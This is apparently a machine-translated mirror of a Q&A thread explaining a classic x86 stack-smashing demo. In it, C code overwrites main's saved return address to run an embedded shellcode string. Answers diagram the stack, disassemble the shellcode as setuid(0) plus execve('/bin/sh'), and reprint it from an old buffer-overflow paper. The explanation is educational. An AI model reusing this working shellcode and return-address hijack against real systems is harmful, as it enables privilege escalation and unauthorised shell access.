0xa*_*b3d 14 c stack exploit shellcode
//shellcode.c
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
Run Code Online (Sandbox Code Playgroud)
谁能给我一个更好的解释?
sta*_*ica 23
显然,此代码尝试更改堆栈,以便在main函数返回时,程序执行不会定期返回到运行时库(通常会终止程序),而是会跳转到保存在shellcode数组中的代码中.
1) int *ret;
在堆栈上定义一个变量,就在main函数的参数下面.
2) ret = (int *)&ret + 2;
让ret变量指向堆放在上面int *两个ints 的变量ret.据说,返回地址位于程序main返回时将继续的位置.
2) (*ret) = (int)shellcode;
返回地址设置为shellcode数组内容的地址,因此返回shellcode时将执行内容main.
shellcode看似包含可能进行系统调用以启动的机器指令/bin/sh.我可能错了,因为我实际上并没有拆解shellcode.
PS:此代码依赖于机器和编译器,可能无法在所有平台上运行.
回复你的第二个问题:
如果我使用ret =(int)&ret +2会发生什么?为什么我们加2呢?为什么不是3或4 ??? 我认为int是4个字节所以2将是8字节没有?
ret声明为a int*,因此为它分配int(例如(int)&ret)将是一个错误.至于为什么添加2而不是任何其他数字:显然是因为此代码假定返回地址位于堆栈上的该位置.考虑以下:
此代码假定调用堆栈在其上推送时会向下增长(因为它确实例如使用Intel处理器).这就是为什么添加一个数而不是减去一个数的原因:返回地址位于比自动(本地)变量(例如ret)更高的内存地址.
从我记忆中的英特尔组装日来看,C函数通常被称为:首先,所有参数都以相反的顺序(从右到左)被压入堆栈.然后,调用该函数.因此返回地址被压入堆栈.然后,建立新的堆栈帧,包括将ebp寄存器推入堆栈.然后,在堆栈上设置局部变量,直到此为止.
现在我假设你的程序有以下堆栈布局:
+-------------------------+
| function arguments | |
| (e.g. argv, argc) | | (note: the stack
+-------------------------+ <-- ss:esp + 12 | grows downward!)
| return address | |
+-------------------------+ <-- ss:esp + 8 V
| saved ebp register |
+-------------------------+ <-- ss:esp + 4 / ss:ebp - 0 (see code below)
| local variable (ret) |
+-------------------------+ <-- ss:esp + 0 / ss:ebp - 4
Run Code Online (Sandbox Code Playgroud)
在底部ret(这是一个32位整数).它上面是保存的ebp寄存器(也是32位宽).上面是32位返回地址.(上面那将是main参数 - argc而且argv- 但这些在这里并不重要.)当函数执行时,堆栈指针指向ret.返回地址位于64位的"上方" ret,其对应于+ 2在
ret = (int*)&ret + 2;
Run Code Online (Sandbox Code Playgroud)
这是+ 2因为ret是a int*,而a int是32位,因此添加2表示将其设置为2×32位(= 64位)以上的存储单元(int*)&ret...这将是返回地址'的位置,如果所有的假设在以上段落是正确的.
题外话:让我在英特尔汇编语言演示C函数怎么可能会被调用(如果我没记错的话-我对这个话题没有大师,所以我可能是错的):
// first, push all function arguments on the stack in reverse order:
push argv
push argc
// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call main
// (afterwards: clean up stack by removing the function arguments, e.g.:)
add esp, 8
Run Code Online (Sandbox Code Playgroud)
在main内部,可能会发生以下情况:
// create a new stack frame and make room for local variables:
push ebp
mov ebp, esp
sub esp, 4
// access return address:
mov edi, ss:[ebp+4]
// access argument 'argc'
mov eax, ss:[ebp+8]
// access argument 'argv'
mov ebx, ss:[ebp+12]
// access local variable 'ret'
mov edx, ss:[ebp-4]
...
// restore stack frame and return to caller (by popping the return address)
mov esp, ebp
pop ebp
retf
Run Code Online (Sandbox Code Playgroud)
参见:在说明用C程序调用序列有关此主题的另一种解释.
Chr*_*odd 19
实际的shellcode是:
(gdb) x /25i &shellcode
0x804a040 <shellcode>: xor %eax,%eax
0x804a042 <shellcode+2>: xor %ebx,%ebx
0x804a044 <shellcode+4>: mov $0x17,%al
0x804a046 <shellcode+6>: int $0x80
0x804a048 <shellcode+8>: jmp 0x804a069 <shellcode+41>
0x804a04a <shellcode+10>: pop %esi
0x804a04b <shellcode+11>: mov %esi,0x8(%esi)
0x804a04e <shellcode+14>: xor %eax,%eax
0x804a050 <shellcode+16>: mov %al,0x7(%esi)
0x804a053 <shellcode+19>: mov %eax,0xc(%esi)
0x804a056 <shellcode+22>: mov $0xb,%al
0x804a058 <shellcode+24>: mov %esi,%ebx
0x804a05a <shellcode+26>: lea 0x8(%esi),%ecx
0x804a05d <shellcode+29>: lea 0xc(%esi),%edx
0x804a060 <shellcode+32>: int $0x80
0x804a062 <shellcode+34>: xor %ebx,%ebx
0x804a064 <shellcode+36>: mov %ebx,%eax
0x804a066 <shellcode+38>: inc %eax
0x804a067 <shellcode+39>: int $0x80
0x804a069 <shellcode+41>: call 0x804a04a <shellcode+10>
0x804a06e <shellcode+46>: das
0x804a06f <shellcode+47>: bound %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>: das
0x804a073 <shellcode+51>: jae 0x804a0dd
0x804a075 <shellcode+53>: add %al,(%eax)
Run Code Online (Sandbox Code Playgroud)
这粗略对应
setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
Run Code Online (Sandbox Code Playgroud)
Riz*_*sim 15
该字符串来自缓冲区溢出的旧文档,并将执行/ bin/sh.因为它是恶意代码(当与缓冲区漏洞利用配对时) - 下次你应该真正包含它的来源.
从同一文档中,如何编写基于堆栈的漏洞:
/* the shellcode is hex for: */
#include <stdio.h>
main() {
char *name[2];
name[0] = "sh";
name[1] = NULL;
execve("/bin/sh",name,NULL);
}
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
Run Code Online (Sandbox Code Playgroud)
您包含的代码会导致shellcode []的内容被执行,运行execve并提供对shell的访问.和Shellcode一词?来自维基百科:
在计算机安全性中,shellcode是一小段代码,用作利用软件漏洞的有效载荷.它被称为"shellcode",因为它通常启动一个命令shell,攻击者可以从中控制受感染的计算机.Shellcode通常用机器代码编写,但执行类似任务的任何代码都可以称为shellcode.
在没有查找要确认的所有实际操作码的情况下,该shellcode数组包含执行所需的机器代码/bin/sh.这个shellcode是精心构造的机器代码,用于在特定目标平台上执行所需操作,而不包含任何null字节.
代码main()正在改变返回地址和执行流程,以使程序通过shellcode执行数组中的指令来生成shell .
有关如何创建shellcode以及如何使用它的说明,请参阅Smashing Stack for Fun和Profit.
| 归档时间: |
|
| 查看次数: |
6429 次 |
| 最近记录: |